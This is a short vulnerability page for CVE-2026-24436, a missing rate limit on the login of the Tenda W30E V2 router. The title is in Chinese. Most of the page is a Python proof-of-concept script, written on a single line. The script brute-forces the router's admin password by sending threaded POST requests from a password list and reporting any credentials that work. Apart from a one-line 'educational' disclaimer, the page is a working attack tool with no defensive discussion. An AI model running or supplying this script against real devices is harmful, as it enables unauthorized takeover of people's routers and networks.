CVE-2026-24436: Tenda W30E V2 路由器认证端点缺少速率限制导致管理员凭据暴力破解

#!/usr/bin/env python3 """ CVE-2026-24436 PoC - Tenda W30E V2 Brute Force Attack Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys from concurrent.futures import ThreadPoolExecutor, as_completed TARGET_IP = "192.168.0.1" # Default Tenda router IP LOGIN_URL = f"http://{TARGET_IP}/login" USERNAME = "admin" def try_login(password): """Attempt login with given password""" try: data = { "username": USERNAME, "password": password } response = requests.post(LOGIN_URL, data=data, timeout=5) # Check for successful login indicators if response.status_code == 200: if "success" in response.text.lower() or "token" in response.cookies: return True, password return False, None except requests.RequestException: return False, None def main(): if len(sys.argv) < 2: print(f"Usage: python3 {sys.argv[0]} <password_list_file>") print(f"Example: python3 {sys.argv[0]} passwords.txt") sys.exit(1) password_file = sys.argv[1] try: with open(password_file, 'r') as f: passwords = [line.strip() for line in f if line.strip()] except FileNotFoundError: print(f"Error: File '{password_file}' not found") sys.exit(1) print(f"[*] Starting brute force attack on {TARGET_IP}") print(f"[*] Target username: {USERNAME}") print(f"[*] Loaded {len(passwords)} passwords") with ThreadPoolExecutor(max_workers=10) as executor: futures = {executor.submit(try_login, pwd): pwd for pwd in passwords} for future in as_completed(futures): success, password = future.result() if success: print(f"\n[!] VALID CREDENTIALS FOUND: {USERNAME}:{password}") executor.shutdown(wait=False) sys.exit(0) else: print(".", end="", flush=True) print(f"\n[-] No valid credentials found") if __name__ == "__main__": main()